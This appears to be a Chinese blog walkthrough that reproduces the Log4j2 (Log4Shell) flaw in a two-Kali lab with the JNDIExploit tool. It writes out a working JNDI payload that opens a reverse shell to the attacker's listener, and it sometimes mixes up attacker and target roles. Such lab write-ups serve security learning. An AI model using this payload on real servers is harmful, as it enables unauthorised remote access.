使用JNDIExploit-1.2-SNAPSHOT.jar复现log4j2详细流程

1.进入到改工具所在的目录,然后cmd打开命令行

查看一下帮助信息

-l 指定开启ladp服务的端口

-p 指定开启http服务的端口

-i 指定开启服务的ip,也就是攻击者的ip,也可以是黑客的公网服务器

因为这里的靶场是部署在kali当中的,所以我们用两台kali来演示,实测当中发现如果有一台用windos成功几率不大

攻击机 :192.168.75.134 靶机 :133

2.攻击流程

靶机开启nc监听 6666 端口

在靶机上启动 JNDIExploit-1.2-SNAPSHOT.jar

含义: 在本机开启ldap服务占用8888端口,同时开启http服务占用9999端口

poc:ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supporte

实际构造:${jndi:ldap://192.168.75.134:8888/Basic/ReverseShell/192.168.75.134/6666}

把这段代码发给服务器当中存在log4j漏洞的点,然后让他去访问攻击机的ldap服务的8888端口,然后与攻击机的6666端口建立反弹shell。

这里的6666端口就是nc监听的端口

由于这里是使用工具封装好的指令,所以只需要给参数即可。

在构造好poc之后,就要寻找漏洞注入点了,并不是说只要使用了log4j这个框架的网站你去随便构造poc提交给服务器都会成功的,这里我使用了bp当中的一个log4j的扫描插件,在它提示有注入点的地方构造poc即可。插件叫log4j2scan,可以自己去下载导入

提交poc

虽然响应400,但是反弹shell成功了.

补充说明:

在完成这个复现的时候,我是分两次完成的,所以在文章前面我说的是使用8888开启ldap服务,但是在后半部分我在实际操作的时候用了默认的1389端口。大家复现的时候随便选择一个端口即可,但是要保证和poc当中的端口对应即可。

还有就是之所以这个实验做了两次,就是因为在这个实验当中,我第一次做的时候,由于这个复现是使用那个脚本,所以直接使用命令去开启http服务和ldap服务 ,但是我发现开启了http服务,但是没法访问到,我以为是环境的问题,就打算第二天再做。结果第二天还是不行,后来终于搞明白了,他这里使用工具开启http服务的指令,实际上并没有真正的开启http服务,只是做了一个端口监听,让靶机误以为开启了ldap服务和http服务。但是去访问的时候就会执行恶意poc,主要还是这个工具封装的问题,使得我们复现起来简单,但是实际上工具把很多的底层原理都给封装起来了,我们看不到。

如果是手工复现的话就是需要真正开启http服务和ldap服务,并且把我们编译好的class文件,放到我们的http服务上面,让靶机来下载。

相关推荐
Coder_Boy_8 小时前
技术让开发更轻松的底层矛盾
java·大数据·数据库·人工智能·深度学习
invicinble8 小时前
对tomcat的提供的功能与底层拓扑结构与实现机制的理解
java·tomcat
较真的菜鸟9 小时前
使用ASM和agent监控属性变化
java
黎雁·泠崖9 小时前
【魔法森林冒险】5/14 Allen类(三):任务进度与状态管理
java·开发语言
qq_124987075310 小时前
基于SSM的动物保护系统的设计与实现(源码+论文+部署+安装)
java·数据库·spring boot·毕业设计·ssm·计算机毕业设计
Coder_Boy_10 小时前
基于SpringAI的在线考试系统-考试系统开发流程案例
java·数据库·人工智能·spring boot·后端
Mr_sun.10 小时前
Day06——权限认证-项目集成
java
瑶山10 小时前
Spring Cloud微服务搭建四、集成RocketMQ消息队列
java·spring cloud·微服务·rocketmq·dashboard
abluckyboy10 小时前
Java 实现求 n 的 n^n 次方的最后一位数字
java·python·算法
2301_8187320610 小时前
前端调用控制层接口,进不去,报错415,类型不匹配
java·spring boot·spring·tomcat·intellij-idea